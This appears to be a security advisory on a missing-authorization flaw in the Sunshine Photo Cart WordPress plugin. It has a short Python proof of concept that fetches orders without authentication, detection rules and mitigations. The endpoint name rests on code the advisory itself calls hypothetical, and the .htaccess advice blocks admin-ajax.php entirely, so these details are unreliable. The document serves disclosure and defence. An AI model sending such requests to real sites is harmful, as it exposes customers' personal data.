CVE-2024-47314

Executive Summary

CVE-2024-47314 is a Missing Authorization vulnerability in the Sunshine Photo Cart WordPress plugin, affecting versions up to and including 3.2.8. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. With a CVSS score of 7.1 (High), it poses a significant risk to sites using this plugin, especially given the lack of a confirmed patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Sunshinephotocart) and consider removing the plugin if no patch is released. The absence of OSV or GitHub advisory data indicates limited public disclosure, increasing the risk of supply chain attacks through compromised plugin updates.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High. The low EPSS score (0.0%) suggests limited active exploitation, but the lack of a patch and ease of exploitation make it a prime target for automated scanning.

Deep Dive & Mechanics

The vulnerability resides in the Sunshine Photo Cart plugin’s access control mechanisms. The plugin fails to properly enforce authorization checks on certain REST API endpoints or AJAX actions, allowing unauthenticated users to perform actions intended for authenticated users (e.g., viewing orders, modifying settings, or accessing customer data).

Root Cause: The plugin uses current_user_can() checks inconsistently or relies on nonces without verifying user capabilities. This allows attackers to craft requests that bypass authorization.

Attack Vector: An attacker sends crafted HTTP requests to vulnerable endpoints (e.g., /wp-json/sunshine/v1/orders or admin-ajax.php actions) without authentication. The plugin processes these requests due to missing capability checks.

Impact: Attackers can:

• View sensitive order data (customer names, addresses, payment details).
• Modify order statuses or delete orders.
• Access plugin settings and potentially escalate privileges.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for missing authorization vulnerabilities.

Vulnerable Code (sunshine-photo-cart <= 3.2.8):

add_action('wp_ajax_sunshine_get_orders', 'sunshine_get_orders');
add_action('wp_ajax_nopriv_sunshine_get_orders', 'sunshine_get_orders'); // Missing capability check

function sunshine_get_orders() {
    // No current_user_can() check
    $orders = get_posts(array('post_type' => 'sunshine_order'));
    wp_send_json($orders);
}

Patched Code (Hypothetical):

add_action('wp_ajax_sunshine_get_orders', 'sunshine_get_orders');
// Remove nopriv hook to require authentication

function sunshine_get_orders() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $orders = get_posts(array('post_type' => 'sunshine_order'));
    wp_send_json($orders);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WordPress site with Sunshine Photo Cart <= 3.2.8 installed.
• No authentication required.

Exploit Steps:

1. Identify vulnerable endpoints by scanning for common plugin AJAX actions.
2. Send a crafted request to retrieve orders without authentication.

Proof-of-Concept (Python):

import requests

target = "http://target-site.com"
ajax_url = f"{target}/wp-admin/admin-ajax.php"

# Exploit missing authorization to get orders
payload = {
    'action': 'sunshine_get_orders'
}
response = requests.post(ajax_url, data=payload)
print(response.text)

Expected Output: JSON array of orders with sensitive data.

Blue Team (Defensive)

Detection:

• Monitor for requests to admin-ajax.php with action=sunshine_get_orders from unauthenticated users.
• Alert on unusual access patterns to plugin-specific endpoints.

Honeypot:

• Deploy a fake endpoint mimicking the vulnerable action to trap attackers.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=sunshine_get_orders or similar.
  • Requests to /wp-json/sunshine/v1/* without authentication tokens.
• File:
  • Unexpected modifications to wp_posts table entries with post_type = 'sunshine_order'.
• Log:
  • 403 errors followed by successful 200 responses on the same endpoint (indicating bypass).

Detection Engineering

YARA Rule

rule CVE_2024_47314_Sunshine_Photo_Cart {
    meta:
        description = "Detects exploitation attempts for CVE-2024-47314 in Sunshine Photo Cart"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47314"
    strings:
        $ajax_action = "sunshine_get_orders" nocase
        $rest_route = "/sunshine/v1/" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-47314 Sunshine Photo Cart Missing Authorization
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects unauthenticated access to Sunshine Photo Cart endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=sunshine_get_orders'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47314 Sunshine Photo Cart Missing Authorization"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=sunshine_get_orders"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=sunshine_get_orders from unauthenticated users.
3. Restrict access to plugin endpoints via .htaccess:

   <FilesMatch "admin-ajax\.php">
       Require all denied
   </FilesMatch>
   

Long-term:

• Monitor the vendor’s website for updates.
• Consider migrating to an alternative photo cart plugin with active security support.
• Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Valters IT – Securing your digital assets with precision.